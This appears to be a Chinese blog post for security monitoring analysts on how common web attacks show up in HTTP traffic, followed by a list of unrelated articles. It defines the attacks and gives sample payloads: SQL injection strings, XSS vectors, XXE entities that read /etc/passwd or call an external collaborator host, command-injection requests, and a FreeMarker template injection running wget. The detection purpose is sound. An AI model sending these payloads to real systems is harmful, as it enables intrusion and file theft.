常见漏洞的流量特征

 

1、SQL注入漏洞

 查看url / Referer字段/User-Agent字段/cookie字段

  1. 出现一些特殊字符（eg：单引号【‘】、双引号【“”】、括号【（）】、单引号括号【‘（】、双引号括号【“（】等一些常见的特殊的字符）；

      eg：http://localhost/index.php/?id=1'and+1=1--+

eg：http://localhost/index.php/?id=1 and 1=1 -- -和1 and 1=2 --+

 

  1. 出现SQL命令/语句（增加、删除、修改、查询语句或者各语句之间的串接）

eg：url/?id=1"  and  updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) -- -

eg：url/?id=-1' union select 1,group_concat(schema_name),3 from  information_schema.schemata --+

 

  1. 出现注释符号（在语句的最后出现连续2个减号字元 -- 后的    文字为注解，或“/*”与“*/”所包起来的文字为注解）

 

  1. 在url上出现万能密码字段  'or'1'='1

 

  1. 出现常见的特殊函数

  database()、updatexml()、extractvalue()、group_concat()、concat()、limit()、order by()、unsion()、system_user()、version()、load_file()、seelp()、length()、exp()、group by()、substr()、and、or等函数。

 

eg：?id=1” and updatexml(1,concat(0x7e,database()),3) --+

eg：?id=-1’ union select 1,2,seelp(5)--+

eg：1” union select updatexml(1,concat(0x7e,(select     group_concat(username) from users)),1) #

  1. 出现各种编码（eg：url编码，base64编码等）可利用Burp或 者在线解/编码器进行操作查看是否有特殊字段。
  2. user-agent字段出现sqlmap/1.0.8.15#dev (http://sqlmap.org)

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps1.jpg&pos_id=rbZyoezU

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps2.jpg&pos_id=2MWezksu

1.1 DNSlog注入

Load_file函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时，需要在最前面加上两个斜杠 //)

使用本函数有几个前提：
1、首先要有注入点
2、需要有root权限
3、数据库有读写权限即：secure_file_priv=“”
4、得有请求url权限
5、还必须得是windows服务器

 

concat函数

2、XSS（跨站脚本攻击）漏洞

查看url / Referer字段/User-Agent字段/cookie字段

查看是否出现以下各种标签（但不限于以下标签）

  1. 查看是否出现script标签<script>alert(1);</script>
  2. 查看是否出现img标签<img src=1 οnerrοr=alert(1);>
  3. 查看是否出现input标签<input οnfοcus=alert(1);>
  4. 查看是否出现svg 标签<svg οnlοad=alert(1);>
  5. 查看是否出现select 标签<select οnfοcus=alert(1)></select>
  6. 查看是否出现iframe 标签<iframe οnlοad=alert(1);></iframe>

 例如：

GET:/CuteSoft_Client/'"()&%<ScRiPt >prompt(994848)</ScRiPt>/SpellCheck.aspx HTTP/1.1  

Referer: http://emp.bcu.edu.cn/

GET /error_page.htm?flag='+alert('XSS')+' HTTP/1.1

<style type="text/javascript">alert('xss');</style>

<style>@import'javascript:alert("xss")';</style>

<link rel="stylesheet" href="http://ha.ckers.org/xss.css">  

  1. 这些标签里是否有一些危险函数【eval()函数、system()函数等】    或者直接出现这写标签后分析里面的语句看他要获取哪些信息。
  2. 若以上标签里的内容出现各种类型的编码、双写/大小写标签、各种特殊字符进行过滤都要着重看。
  3. user-agent字段出现 ：     '%22()%26%25<ScRiPt%20>prompt(961668)</ScRiPt>

告警相关示例：

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps3.jpg&pos_id=6s5Pn9Ge

url   %0D%0A%3C%2Ftte%3E%3Cscript%3Ea ert%28myhd%29%3B%3C%2Fscpt%3E8au

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps4.jpg&pos_id=PlQ6Dnov

url解密出来的函数是恶意函数aert（）以及script标签来获取账号

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps5.jpg&pos_id=c4gVwlWD

3、CSRF（跨站请求伪造）漏洞

查看Referer字段，正常来说，Referer字段应和请求的地址位于同一域名下。而如果是CSRF攻击传来的请求，Referer字段会是包含恶意网址的地址，不会在同一个域名下，这时候服务器就能识别出恶意的访问。所以在查看csrf告警时，看域名是否有相同的后缀，是否是来自本站

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps6.jpg&pos_id=cSVcnu1C

4、SSRF（服务器端请求伪造）漏洞

  1. 查看url上是否有file协议/gopher协议/ftp协议/dict协议

例  http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/system.ini（获取本地c盘的system.ini文件）

  1. （查看url地址后面一些参数(share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain等）这些参数后面的值是不是内网的IP地址或者是127.0.0.1或者是一些协议的一些关键字眼。
  2. 这些参数值的后面是否有特殊字符（绕过ssrf会使用一些特殊字符eg：‘。’‘[: :]’等一些特殊的字符），也可能出现各种编码/进制进行写IP地址，或者特殊的域名eg：xip.io。
  3. 是否出现file_get_contents()、fsockopen()、curl_exec()等函数

5、XXE（外部实体注入）漏洞

  1. 若攻击报文出现一下告警，大概率是误报，因为这个是电信的L1接口定位采用的是xml格式的报文，所以会产生告警

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps7.jpg&pos_id=1jJjzx73

  1. 若报文中的system后面出现了url，要着重注意，（因为外部实体的声明使用SYSTEM关键字，并且必须指定一个URL，从该URL可以加载实体的值。）

例如：

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

 

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

 

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "php://filter://path/to/file" ]>

 

   <!ENTITY lyq SYSTEM "file:///etc/passwd">

 

着重看以下3个协议

·data://协议    

·file://协议加文件上传    

·php://filter协议加文件上传

 

 

参考Content-Type字段的值，

告警示例：

GET /meol/manage/web.config.bak HTTP/1.1

Content-Type: text/xml;charset=utf-8

Accept字段

告警示例：

GET /meol/manage/web.config.bak HTTP/1.1

Accept=application/xml,text/xml,*/*;q=0.01

X-Requested-With字段

告警示例：

GET /meol/manage/web.config.bak HTTP/1.1

X-Requested-With：XMLHttpRequest

结合告警中是否有xml的payload，一般在告警最下面显示。

 

payload示例：

<?xml version="1.0"?>

<!DOCTYPE ANY [

    <!ENTITY % d SYSTEM

   "http://t606r6jh3sa4nrjus0ks29kwbnhe53.burpcollaborator.net">%d;

     ]>

<a>&xxe;</a>

总结：出现xml的文件或者后缀都着重看一下。

6、资源盗链漏洞

通过查看Referer字段或者签名，是否有外来网站，来源不是本站，只能通过Referer字段来进行判断，看是否有新的外来地址。着重看以http和https开头的网址。

7、目录遍历

   如果url上有大量的../../../../../../关键字符就有可能攻击者利用目录遍历来攻击，也要结合../后面是什么目录，若是敏感目录或者文件（例如：/etc/passwd、php后缀、conf后缀等）就要着重看一下，或者url上是各种编码，要进行解码进行查看内容

目录遍历漏洞的特征要注意：

?page=xxx.php  ?index=xxx.jsp    ?home=xxx.html   ?file=content      最终也要结合响应包进行最终确认是否攻击成功，是否响应。

告警示例：

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps8.jpg&pos_id=N4lz64mL

通过UTF-8解码之后再进行url解码得出

ba.online.sh.cn/../../../../../../../../../../../../../../../../../../../../etc/passwd

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps9.jpg&pos_id=mXjF70YX

8、命令执行注入

  1. 如果请求体或者url里出现以下危险函数

  【1】 php代码

system()、exec()、shell_exec()、passthru函数

popen函数  eval函数 assert()

【2】JSP代码

Runtime run = Runtime.getRuntime(); run.exec("ipconfig");

【3】ASP代码

<%Response.writeCreateObject("wscript.shell").exec("cmd.exe /c    ipconfig").StdOut.ReadAll%>

  1. 若里面还有特殊字符（|，||，&，&&，反符号` `,>，>>，< ，<<）
  2. 出现系统命令、系统目录、敏感文件等

相关告警示例：

GET /simple/tests/tmssql.php?do=phpinfo

GET /detail.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c

GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini

GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd

8.1 freemaker模版注入

deviceUdid=${"freemarker.template.utility.Execute"?new()("wget http://downlo%6

<#assign test="freemarker.template.utility.Execute"?new()> ${test("open /Applications/Calculator.app")}

error=&deviceUdid=${"freemarker.template.utility.Exe%6

8.2  WinRAR远程代码执行漏洞分析

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps10.jpg&pos_id=mfPF2YK7

如果把响应代码更改为“301 Moved Permanently”，所有请求都将转到恶意域“attacker.com”，并且恶意域“attacker.com”会被缓存下来。缓存下来以后，所有到默认域“notifier.rarlab.com”的流量会重定向到恶意域“attacker.com”。

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml2912%5Cwps11.jpg&pos_id=Z5McbM8K

9、LDAP注入

定义

LDAP轻量级目录访问协议，是一种在线目录访问协议，主要用于目录中资源的搜索和查询。

如果出现一些运算符（=、|、||、&、&&、！(非)、*(通配符)等），因为这些运算符都是LDAP的基本语法。

例如：

ldap://austin.ibm.com/ou=Austin,o=IBM

ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)

LDAP注入攻击面

(&(parameter1=value1)(parameter2=value2))

value1和value2可以换成注入代码

 

10、文件包含漏洞

文件包含会出现4个函数：

include()   include_once()   require()  require_once()

出现4个函数后结合响应体着重看一下

url也会出现特殊字符../../等特殊字符

一般文件包含和文件上传会结合使用。

11、文件上传漏洞

http 请求 Header 头部中的 Content-Type 存在以下特征：

multipart/form-data:表示该请求是一个文件上传请求

存在 boundary 字符串

POST 的内容存在以下特征： Content-Disposition name filename

 

查看文件的后缀是以.php  .php1~5  php的大小写或者.asp、.asp的大小写混合，或者以.htaccess结尾的，还有图片马要着重注意

 

12、信息泄露

配置文件访问

httpd.conf htaccess HTPASSWD boot.ini etc/passwd

Php.ini Web.xml等后缀文件，然后结合响应体查看是否响应

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/712578.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

数通HCIE和云计算HCIE哪个好一点？

数通HCIE和云计算HCIE哪个好一点？

数通是网络的基础知识&#xff0c;也是入门人员必学的方向&#xff0c;相对也会简单些&#xff0c;学习数通&#xff0c;可以很好的学习其他的方向。数通的就业范围也比较广&#xff0c;运营商、企业、政府还是互联网公司&#xff0c;都需要大量的数通工程师来搭建和维护网络&a…
阅读更多...
大数据毕业设计之前端04：管理系统为什么要自己实现图标组件

大数据毕业设计之前端04：管理系统为什么要自己实现图标组件

关键字&#xff1a;BuildAdmin、Icon、图标、Vue、ElementUI 前言 说到图标&#xff0c;在BuildAdmin中用到的地方很多。比如上一篇中的折叠图标&#xff0c;还有菜单栏图标、导航菜单栏图标等。常见的图标有&#xff1a;ElementUI图标、font-awesome、iconfont阿里图标以及本…
阅读更多...
94. 递归实现排列型枚举 刷题笔记

94. 递归实现排列型枚举 刷题笔记

思路 依次枚举 每个位置用哪个数字 要求按照字典序最小来输出 而每次搜索下一层时i都是从1开始 也就是说 如果有小的数可以填上 那么该方案会填上这个数字 例如 当n等于3 第一次搜索 1 2 3输出后返回 返回后此时i3 第二个位置填3 1 3 2 输出后返回 此时返回到第一层…
阅读更多...
云计算 2月21号 （linux文件及用户管理）

云计算 2月21号 （linux文件及用户管理）

一、文件管理 1.1快捷键 编辑命令&#xff1a; Ctrl a &#xff1a;移到命令行首 Ctrl e &#xff1a;移到命令行尾 Ctrl u &#xff1a;从光标处删除至命令行首 Ctrl k &#xff1a;从光标处删除至命令行尾 Ctrl w &#xff1a;从光标处删除至字首 Ctrl d &#x…
阅读更多...
20240301-2-ZooKeeper面试题（二）

20240301-2-ZooKeeper面试题（二）

11. Chroot 特性 3.2.0 版本后&#xff0c;添加了 Chroot 特性&#xff0c;该特性允许每个客户端为自己设置一个命名空间。如果一个客户端设置了 Chroot&#xff0c;那么该客户端对服务器的任何操作&#xff0c;都将会被限制在其自己的命名空间下。 通过设置 Chroot&#xff…
阅读更多...
Win11远程桌面登陆教程

Win11远程桌面登陆教程

必备软件 Remote Desktop 这个软件用于便捷操作 Tailscale 这个用于创建虚拟局域网让两台设备处于同一个网段便于远程连接 详细步骤 0、打开电脑设置允许远程连接模式 把这里的开关打开就行。 1、设置允许登陆的用户以及密码 在管理员模式下的宿主电脑上面输入以下命令…
阅读更多...
寒假作业Day 02

寒假作业Day 02

这是第二天的作业&#xff0c;fighting&#xff01; Day 02 一、选择题 首先char* s[6]是指针数组&#xff0c;也就是其存储的都是这些字符串的地址&#xff0c;其实际上的类型为char**&#xff0c;而fun函数传入了s数组的首地址。而后续fun函数中打印字符&#xff0c;p[i]即…
阅读更多...
ad18学习笔记十六：如何放置精准焊盘到特定位置，捕抓功能的讲解

ad18学习笔记十六：如何放置精准焊盘到特定位置，捕抓功能的讲解

网上倒是一堆相关的指导 AD软件熟练度提升&#xff0c;如何设置板框捕捉&#xff1f;_哔哩哔哩_bilibili 关于Altium Designer 20 的捕抓功能的讲解_ad捕捉设置-CSDN博客 AD软件捕捉进阶实例&#xff0c;如何精确的放置布局元器件&#xff1f;_哔哩哔哩_bilibili AD绘制PCB…
阅读更多...
项目-SERVER模块-Socket模块

项目-SERVER模块-Socket模块

Socket模块 一、Socket模块是什么&#xff1f;二、代码实现1.成员变量2.构造、析构函数3.获取套接字文件描述符4.创建套接字5.绑定地址信息6.开始监听连接请求7.向服务器发起连接8.获取新连接9.接收数据10.非阻塞接收数据11.发送数据12.非阻塞发送数据13.关闭套接字14.创建一个…
阅读更多...
20240301作业

20240301作业

1.使用fwrite、fread将一张随意的bmp图片&#xff0c;修改成德国的国旗 #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> int main(int argc, const char *argv[]) {FILE* fp fopen("./gaoda.bmp","…
阅读更多...
Java毕业设计 基于SpringBoot vue 社区团购系统

Java毕业设计 基于SpringBoot vue 社区团购系统

Java毕业设计 基于SpringBoot vue 社区团购系统 SpringBoot vue 社区团购系统 功能介绍 前端用户: 首页 图片轮播 商品信息 商品分类展示 搜索 商品详情 点我收藏 添加到购物车 立即购买 我要开团 去参团 评论 公告资讯 资讯详情 登录 注册 个人中心 更新信息 点我充值 我的订…
阅读更多...
git之远程操作

git之远程操作

一.分布式版本控制系统 分布式版本控制系统通常也有⼀台充当“中央服务器”的电脑&#xff0c;但这个服务器的作⽤仅仅是⽤来⽅便“交换”⼤家的修改&#xff0c;没有它⼤家也⼀样⼲活&#xff0c;只是交换修改不⽅便⽽已。有了这个“中央服务器”的电脑&#xff0c;这样就不怕…
阅读更多...
ChatGPT学习第四周

ChatGPT学习第四周

&#x1f4d6; 学习目标 ChatGPT实践操作 通过实际操作和练习&#xff0c;加深对ChatGPT功能的理解。 项目&#xff1a;创建一个ChatGPT应用案例 设计一个基于ChatGPT的小项目&#xff0c;将理论应用于实践。 ✍️ 学习活动 学习资料 《万字干货&#xff01;ChatGPT 从零完…
阅读更多...
达梦数据库查询语句内存溢出问题解决

达梦数据库查询语句内存溢出问题解决

背景&#xff1a;达梦数据库使用过程中&#xff0c;某天突然服务宕机&#xff0c;导致各类后端服务无法注册到nacos上&#xff0c;重启之后nacos正常启动&#xff0c;可执行一条两千多条数据量的连表查询时间很长&#xff0c;甚至会报错&#xff0c;经查看日志发现在查询过程中…
阅读更多...
【C语言】常见的动态内存管理错误

【C语言】常见的动态内存管理错误

前言 上一篇介绍了C语言中 动态内存管理函数&#xff0c;本片讲解的是 在我们使用动态内存管理时 常见的错误&#xff0c;一起来看看吧~ 欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎指出~ 目录 1.对NULL指针的解引⽤操作 错…
阅读更多...
什么是前端框架中的数据绑定（data binding）？有哪些类型的数据绑定？

什么是前端框架中的数据绑定（data binding）？有哪些类型的数据绑定？

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…
阅读更多...
YOLOv5白皮书-第Y4周:common.py文件解读

YOLOv5白皮书-第Y4周:common.py文件解读

YOLOv5白皮书-第Y4周:common.py文件解读 YOLOv5白皮书-第Y4周:common.py文件解读0.导入需要的包和基本配置1.基本组件1.1 autopad1.2 Conv1.3 Focus1.4 Bottleneck1.5 BottleneckCSP1.6 C31.7 SPP1.8 Concat1.9 Contract、Expand 2.重要类2.1 非极大值抑制&#xff08;NMS&…
阅读更多...
vue3中的基本语法

vue3中的基本语法

目录 基础素材 vue3的优化 使用CompositionAPI理由 1. reactive() 函数 2. ref() 函数 2.1. ref的使用 2.2. 在 reactive 对象中访问 ref 创建的响应式数据 3. isRef() 函数 4. toRefs() 函数 5. computed() 5.1. 通过 set()、get()方法创建一个可读可写的计算属性 …
阅读更多...
函数——递归6（c++）

函数——递归6（c++）

角谷猜想 题目描述 日本一位中学生发现一个奇妙的 定理&#xff0c;请角谷教授证明&#xff0c;而教授 无能为力&#xff0c;于是产生了角谷猜想。 猜想的内容&#xff1a;任给一个自然数&#xff0c; 若为偶数则除以2&#xff0c;若为奇数则乘 3加1&#xff0c;得到一个新的…
阅读更多...
PyTorch深度学习快速入门

PyTorch深度学习快速入门

PyTorch深度学习快速入门 1.PyTorch环境配置及安装2.python编辑器的选择、安装、配置&#xff08;pycharm、JupyTer安装&#xff09;3.为什么torch.cuda.is_available()返回false4.python学习中两大法宝函数&#xff08;也可用在pytorch&#xff09;5.pycharm和jupyter&#xf…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023